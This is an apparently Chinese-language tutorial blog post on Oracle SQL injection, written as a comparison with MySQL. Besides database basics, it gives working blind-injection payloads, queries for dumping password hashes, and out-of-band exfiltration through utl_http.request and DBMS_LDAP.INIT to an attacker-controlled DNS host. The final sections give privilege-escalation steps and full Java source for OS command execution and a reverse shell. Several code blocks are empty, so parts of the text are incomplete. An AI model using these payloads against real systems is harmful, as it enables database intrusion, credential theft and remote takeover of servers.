Oracle 注入指北
当我们学会了 MySQL 注入后如何学会 Oracle 注入?
类比学习法通常效率很高。接下来我将通过类比 MySQL 与 Oracle 的方法来讲述 Oracle 注入,以求快速迁移知识。
安装 Oracle
Oracle 极速入门
我们可以把 Database(数据库) 看作是一个大仓库,仓库分了很多很多的房间,Schema 就是其中的房间,一个 Schema 代表一个房间,Table 可以看作是每个Schema 中的床,Table(表)被放入每个房间中,不能放置在房间之外,放在外面岂不是就是无家可归了。然后床上可以放置很多物品,就好比 Table 上可以放置很多列和行一样。数据库中存储数据的基本单元是 Table,对应现实中每个仓库放置物品的基本单位就是床, User(用户) 就是每个 Schema 的主人(所以 Schema 包含的是 Object,而不是 User),User 和 Schema 是一一对应的,每个 User 在没有特别指定下只能使用自己 Schema(房间)的东西,如果一个 User 想使用其他 Schema(房间)的东西,那就要看那个 Schema(房间)的 User(主人)有没有给你这个权限了,或者看这个仓库的老大(DBA)有没有给你这个权限了。换句话说,如果你是某个仓库的主人,那么这个仓库的使用权和仓库中的所有东西都是你的(包括房间),你有完全的操作权,可以扔掉不用的东西从每个房间,也可以放置一些有用的东西到某一个房间,你还可以给每个 User 分配具体的权限,也就是规定某 User(某人)到 某一个 Schema(某一个房间)能做些什么,是只能看(Read-Only),还是可以像房间主人一样有所有的控制权(R/W)。这个就要看这个 User 所对应的 Role(角色)了。假如你是仓库的老大(DBA),你还可以设计一张工卡(角色),分为普通用户与 vip,拥有 vip 工卡的人,可以拥有你的权限。工卡(角色)并不指代具体的用户,只是权限的集合。
基本概念
Oracle 中有三个重要的基本概念:数据库实例
、数据库
、SID
。
Oracle 的数据库实例(Instance)其实是后台进程
和 SGA
的总称:
后台进程
:负责接受和处理客户端传来的数据,如 Windows 下由 oracle.exe 进程负责分发和处理请求。SGA
:全称为System Global Area
,即系统全局区域
。实际上是内存中的一片共享区域,其中包含实例配置、数据缓存、操作日志等信息,由后台进程进行共享。
而通常数据库实例会用一个唯一标识来标识,这个标识符便称为 SID
(System Identifier)。
数据库
一般指物理存储的文件,Oracle 数据库除了基本的数据文件,还有控制文件
和 Redo 日志
。数据库一般位于 $ORACLE_HOME/oradata/SID
,SID 对应创建数据库时指定的实例 SID,数据文件以 *.dbf
的形式存放。
首先,数据库实例
和数据库
并不是必须相互依赖而存在的。当实例启动时,可以不关联任何数据库。数据库可以存在于磁盘,不附加到任何实例,当然这样无法与用户进行交互。一般而言,数据库附加到实例中,与其进行关联,是一对一的关系。但是在集群环境下,一个数据库可以对应多个实例,这些实例分布在不同的服务器上。但反过来,一个实例只能对应一个数据库。
数据结构
表空间
相对于其他数据库,Oracle 中有一个比较特殊的概念:表空间
(Tablespace)。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库:
如上图,当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM
、SYSAUX
、USERS
、UNDOTBS
、TEMP
:
- SYSTEM:看名字就知道这个用于是存储系统表和管理配置等基本信息
- SYSAUX:类似于
SYSTEM
,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担 - UNDOTBS:用于事务回退等
- TEMP:作为缓存空间减少内存负担
- USERS:就是存储我们定义的表和数据
Schema
Oracle 数据库支持多用户,用户想在同个数据库中创建相同名称的表或其他歧义数据,该怎么办?
Oracle 中使用 Schema
的概念将每个用户的数据进行分离,Schema 其实类似于命名空间
(Namespace),默认情况下,Schema 的名称同用户名称相同。
Schema
和表空间
是一个层次的概念,它们都有一个很重要的特性,就是对表的独占性。Schema 是表的逻辑集合,是所有应用访问表必须指定的对象(一般都省略了,但是实际上一定是 db.schema.table
这种访问模式,例如访问 scott
用户下的 emp 表,这时 Schema 的名称也为 scott
,而 select from emp
这条 sql 语句的完整写法为:select from scott.emp
),同一张表不可能既属于这个 Schema,又属于另一个 Schema。表空间是表的物理集合,是所有磁盘读写必须访问的文件(一般由 Oracle 管理,个性化的需求DBA 管理),同一张表也不可能既放在这个表空间,又放在那个表空间。
权限与用户管理
权限和角色
Oracle 中划分了许多用户权限,权限的集合称为角色
。例如 CONNECT
角色具有连接到数据库权限,RESOURCE
能进行基本的 CURD
操作(即,增加:create,修改:update,查找:read,删除:delete),DBA
则集合了所有的用户权限。
用户
创建数据库时,会默认启用 sys
、system
等用户:
- sys:相当于 Linux 下的 root 用户。为
DBA
角色 - system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为
DBA
角色。 - public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)
一篇比较详细的 Oracle 权限管理的博文:传送门🚪
基本语法
按照 MySQL 注入的学习方法,先从语法入手:
1
2
3
4
5
6select column, group_function(column)
from table
[where condition]
[group by group_by_expression]
[having group_condition]
[order by column];
执行过程:from -- where -- group by -- having -- select -- order by
可以看出,和 MySQL 很类似。实际上都是 SQL 标准的语法。
与 MySQL 的区别
注意:
- 以下加了
-- priv
的语句说明需要管理员权限 - 虽然 Oracle 没有类似 MySQL 的
数据库
的概念,而是用表空间
来代替:一个 Oracle 只有一个数据库,它给账户开辟数据库空间,称之为表空间(TableSpace)
,创建数据库就是开辟账户的表空间。为了叙述的方便,我将 Oracle 的表空间
也称为数据库
语法
- select 必须要指明表名。若并非对真实的表进行查询,则需要用
dual
作为表名。 - 单引号与双引号:Oracle 的单引号与 MySQL 一直,但是双引号用于消除系统关键字。例如,有个表的字段叫
sysdate
,因为sysdate
属于oracle
中的关键字,但你要查询这个字段的时候,就需要select "sysdate" from dual;
,若用select 'sysdate' from table_name;
查询就相当于select sysdate from table_name;
,而sysdate
用于获得当前时间。 - 第 n 行的数据:
SELECT colmn_name FROM (SELECT ROWNUM r, table_name FROM users ORDER BY colmn_name) WHERE r=n;
:select colmn_name from table_name limit n, 1;
- 拼接字符:
SELECT 'a' || 'b' FROM dual;
:select 'a' 'b'
case 语法
:SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;
:SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;
- Oracle 中空字符串
''
就是null
(也就是说,只有null
,没有空字符),而 MySQL 是区分null
和''
的。
系统表
- dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
- all_tables : 当前用户有权限的表的信息(只要对某个表有任何权限,即可在此视图中看到表的相关信息)
- user_tables: 当前用户名下的表的信息
- DBA_ALL_TABLES:
DBA
用户所拥有的或有访问权限的对象和表 - ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
- USER_ALL_TABLES:某一用户所拥有的对象和表
总结:
DBA_TABLES >= ALL_TABLES >= USER_TABLES
DBA_ALL_TABLES >= ALL_ALL_TABLES >= USER_ALL_TABLES
user_tables
的范围最小,all_tables
看到的东西稍多一些,而 dba_tables
的信息最全
同样,user_tab_columns
、all_tab_columns
、dba_tab_columns
也是一样的。
获取数据库信息
描述:Oracle
: MySQL
- 服务器版本:
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
或者SELECT version FROM v$instance;
:select version()
- 操作系统版本:
SELECT banner FROM v$version where banner like 'TNS%';
:@@version_compile_os
- 当前数据库:
SELECT global_name FROM global_name;
或者SELECT name FROM v$database;
或者SELECT instance_name FROM v$instance;
或者SELECT SYS.DATABASE_NAME FROM DUAL;
:select database()
- 获取当前用户权限的所有数据库:
SELECT DISTINCT owner, table_name FROM all_tables;
- 表名:
SELECT table_name FROM all_tables;
:select table_name from information_schema.tables
- 字段名:
SELECT column_name FROM all_tab_columns
:select COLUMN_NAME from information_schema.COLUMNS
获取用户信息
描述:Oracle
: MySQL
- 当前数据库用户:
SELECT user FROM dual;
:user()
- 所有数据库用户:
SELECT username FROM all_users ORDER BY username;
或者SELECT name FROM sys.user$; -- priv
:select user from mysql.user;
- 所有数据库用户的密码 hash:
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g
或者SELECT name, spare4 FROM sys.user$; -- priv, >= 11g
- 当前用户的权限:
SELECT * FROM session_privs;
:show grants;
- 所有用户的权限:
SELECT * FROM dba_sys_privs -- priv
:select Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv from mysql.user; -- priv, mysql.user 中各种以 _priv 结尾的字段
- 用户角色:
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
或者SELECT DISTINCT grantee FROM dba_sys_privs
:select user, Super_priv from mysql.user;
函数
两者相同
数学函数
- ROUND
- ABS
- CEIL
- FLOOR
- MAX
- MIN
字符串函数
- ASCII
- CHAR
- REPLACE
- SUBSTRING
- INSTR
- LOCATE
- LPAD
- UPPER
- LOWER
两者不同
描述:Oracle
: MySQL
按位与:
SELECT bitand(6, 2) FROM dual;
:select 6 & 2
字符串转 hex:
select utl_raw.cast_to_raw('admin') from dual;
:hex()
查找子串:
select INSTR('sdsq', 's', 2) value from dual -- 要求从位置 2 开始
:select INSTR('sdsq', 's') value -- 从默认的位置 1 开始,无法改变
SUBSTR:MySQL 有,Oracle 无,但是 Oracle 可用
substring
代替求字符长度:
LENGTH
:CHAR_LENGTH
求字节长度:
LENGTHB
:LENGTH
"case":
select decode('s', 's', 'n', 'none') from dual; -- decode(条件, 值 1, 翻译值 1, 值 2, 翻译值2 , ...值 n, 翻译值 n, 缺省值)
:用 case 实现
时延:
select DBMS_PIPE.RECEIVE_MESSAGE('任意值', 1) from dual;
:sleep(1)
。除此之外时延还可以利用select count(*) from all_objects;
来,原理是需要花费较多时间去查询所有数据库的条目。另外,利用带外通道
发起网络请求,也有可能造成时延。SYS_CONTEXT
系统启动时,在userenv
中存储了一些系统上下文信息,通过SYS_CONTEXT
函数,我们可以取回相应的参数值。包括当前用户名等等。
更多可用参数说明可以查阅 Oracle 提供的文档:SYS_CONTEXT
更多非函数的语句区别可以见这个博文:传送门🚪
注入类型
常规注入
注入后直接回显结果
盲注
类型
- 布尔
- 时间
- 其他(报错、响应代码等等)
利用方式
- 基于布尔:
利用字符串相关的函数,逐个字符猜解需要的信息即可 - 基于时间
利用decode
、case
等与时延函数搭配,逐个字符猜解需要的信息。
或者利用REPLACE
+substr
(这个利用技巧在 MySQL 注入指北#盲注 里说过了):
1
2
3
4select 1 from dual where 1=0 or DBMS_PIPE.RECEIVE_MESSAGE('Macr0phag3', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'A', 1))=1;
...
select 1 from dual where 1=0 or DBMS_PIPE.RECEIVE_MESSAGE('Macr0phag3', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 1))=1;
# 出现时延代表第一个字符为 S - 报错
利用 decode + 除 0:
select decode(substr(user, 1, 1), 'S', (1/0),0) from dual;
。这个报错与后面的报错注入不一样,因为这里的除 0 报错不会带出数据。
报错注入
utl_inaddr.get_host_name
1 |
|
这种方法在 Oracle 8g
,9g
,10g
中不需要任何权限,但是在Oracle 11g
以及以后的版本中,官方加强了访问控制权限,所以在11g
以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。
ctxsys.drithsx.sn
Oracle 中用于处理文本,当传入参数类型错误时,会返回异常。
1 |
|
CTXSYS.CTX_REPORT.TOKEN_TYPE
作用与 ctxsys.drithsx.sn
类似,用于处理文本
1 |
|
XMLType
XMLType 在调用的时候必须以<:
开头,>
结尾,即 '<:'||balabala||'>'
或者 chr(60)||balabal||chr(62)
。另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。
1 |
|
dbms_xdb_version.checkin
1 |
|
dbms_xdb_version.makeversioned
1 |
|
dbms_xdb_version.uncheckout
1 |
|
dbms_utility.sqlid_to_sqlhash
1 |
|
ordsys.ord_dicom.getmappingxpath
1 |
|
UTL_INADDR.get_host_name
1 |
|
UTL_INADDR.get_host_address
1 |
|
联合注入
利用 union 来拼接 select 语句。主要是怎么判断列数。
带外通道(OOB)
带外通信即使用 Oracle 发送HTTP
或者DNS
请求,将查询结果带到请求中,然后监测外网服务器的HTTP
和DNS
日志,从日志中获取 sql 语句查询的结果,通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,尤其是基于时间的盲注,能极大地加快速度。类似于 Windows 的MySQL 中利用 LOAD_FILE
的 dns 带外通信。
最后,OOB 都需要发起网络请求的权限,存在一定限制。
utl_http.request
utl_http.request()
向外网主机发送 http
请求:
1
select utl_http.request('http://www.baidu.com/?result='||(select user from dual)) from dual;
utl_inaddr.get_host_address
将查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果。
1 |
|
SYS.DBMS_LDAP.INIT
与 utl_inaddr.get_host_address
类似,很多时候数据服务器都是站库分离的,而且不一定能主动访问外网。但是有时候可能会允许 DNS 请求。并且这个函数在 10g/11g 中是 public 权限。
1
SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;
虽然 Oracle 初始化 DBMS_LDAP 没有成功,但是实际上服务器已经拿到数据了:
来自网图:
HTTPURITYPE
1 |
|
其他函数
Oracle 中能够发起网络请求的模块是很多很多的。
如果 Oracle 版本 <= 10g,可以尝试以下函数:
- UTL_INADDR.GET_HOST_ADDRESS
- UTL_HTTP.REQUEST
- HTTP_URITYPE.GETCLOB
- DBMS_LDAP.INIT and UTL_TCP
其他攻击方式
Oracle XXE
实际上是 CVE-2014-6577
,受影响版本:11.2.0.3
,11.2.0.4
,12.1.0.1
和12.1.0.2
Oracle XXE 的效果和 UTL_http
的效果差不多,都是将数据传输到远端服务器上。但是,由于 extractvalue()
函数对所有数据库用户都可以使用,不存在权限的问题,所以当在低权限没有UTL_http
权限时,这个不失为一个好方法。
1 |
|
Oracle 提权漏洞
原理是 GET_DOMAIN_INDEX_TABLES
函数的参数存在注入。而该函数的所有者是 sys
,所以通过注入就可以执行任意 sql 语句。而该函数的执行权限为 public
,所以只要遇到一个 Oracle 的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。
1 |
|
权限提升之后就可以做很多事了,因为 Oracle 可以执行 JAVA 代码,所以在提升权限后具体怎么操作,就看各自的 JAVA 水平了。
这里给出几种常见的利用方式(以下均为 your own payload
处的代码):
> 命令执行
- 创建 JAVA 代码:
1
create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}
赋予代码执行权限
1
begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;
创建函数
1
create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String'''''''';
赋予函数执行权限
1
grant all on cmd to public
执行命令
1
select sys.cmd('whoami') from dual;
反弹 SHELL
- 创建 JAVA 代码
1
create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("your own ip", 80);Process p = Runtime.getRuntime().exec("cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}
赋予代码执行权限
1
begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;
创建函数
1
create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String'''''''';
赋予函数执行权限
1
grant all on reversetcp to public
反弹 SHELL
1
select sys.reversetcp from dual;
Oracle shell 转 os shell
如果服务器有 java,那么我们可以从 Oracle shell 转到 os shell。未尝试,先插眼。
来呀快活呀